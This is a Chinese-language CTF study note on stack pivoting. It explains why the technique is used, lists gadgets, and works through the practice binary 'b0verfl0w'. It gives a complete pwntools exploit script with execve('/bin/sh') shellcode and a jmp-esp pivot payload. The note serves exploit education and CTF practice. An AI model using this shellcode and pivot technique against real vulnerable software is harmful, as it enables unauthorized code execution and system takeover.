学习资料:

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/fancy-rop/#stack-pivoting

为什么要使用?

(1)栈溢出时,覆盖后剩下的栈空间不够写exp、ROP等溢出利用

(2)开启了PIE,栈地址不固定,没法利用

要求:可以控制EIP或ESP的至少一个,利用gadgets:

pop esp;
sub esp xx,
jmp esp

从而控制程序流到我们的shellcode

例题:

可以控制的字符数为50 - 0x20 - 4 = 14个字节~是不够滴~

就要利用stack pivoting,将esp指向我们填入的buffer的起始地址

shellcode从这儿找

http://shell-storm.org/shellcode/

http://shell-storm.org/shellcode/files/shellcode-841.php

最后得到exp为

#!/usr/bin/env python
# coding=utf-8

from pwn import *
io = process("./b0verfl0w")

shell = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'

jmp_esp_addr = 0x8048504
payload = shell + (0x20 - len(shell)) * "A" + "BBBB" + p32(jmp_esp_addr) + asm('sub esp, 0x28;jmp esp')
io.sendline(payload)
io.interactive()